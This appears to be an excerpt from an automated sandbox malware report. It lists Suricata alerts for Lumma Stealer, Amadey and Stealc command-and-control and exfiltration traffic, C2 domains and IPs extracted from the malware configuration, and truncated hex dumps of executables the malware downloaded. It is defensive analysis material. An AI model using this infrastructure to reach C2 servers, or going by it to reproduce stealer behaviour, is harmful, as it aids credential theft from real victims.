Source: Network traffic	Suricata IDS: 2057101 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scriptyprefej .store) : 192.168.2.6:65221 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.6:52334 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.6:62591 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057121 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store) : 192.168.2.6:62829 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057119 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store) : 192.168.2.6:57896 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.6:64225 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.6:49993 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.6:61456 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057101 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scriptyprefej .store) : 192.168.2.6:63664 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50137 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50150 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.6:61145 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.6:49470 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.6:60758 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057121 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store) : 192.168.2.6:60509 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057101 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scriptyprefej .store) : 192.168.2.6:59480 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.6:58183 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057119 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store) : 192.168.2.6:58701 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50170 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.6:63792 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:61413 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50158 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.6:50135 -> 23.50.98.133:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50143 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50143 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:50121 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50120 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50120 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50119 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50119 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.6:50165 -> 23.192.247.89:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.6:50131 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.6:50155 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.6:50116 -> 23.50.98.133:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50141 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50141 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50136 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic

TCP traffic: 192.168.2.6:61376 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 11 Nov 2024 11:40:07 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 11 Nov 2024 11:40:26 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 11 Nov 2024 11:40:28 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 11 Nov 2024 11:40:29 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 11 Nov 2024 11:40:29 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 11 Nov 2024 11:40:30 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 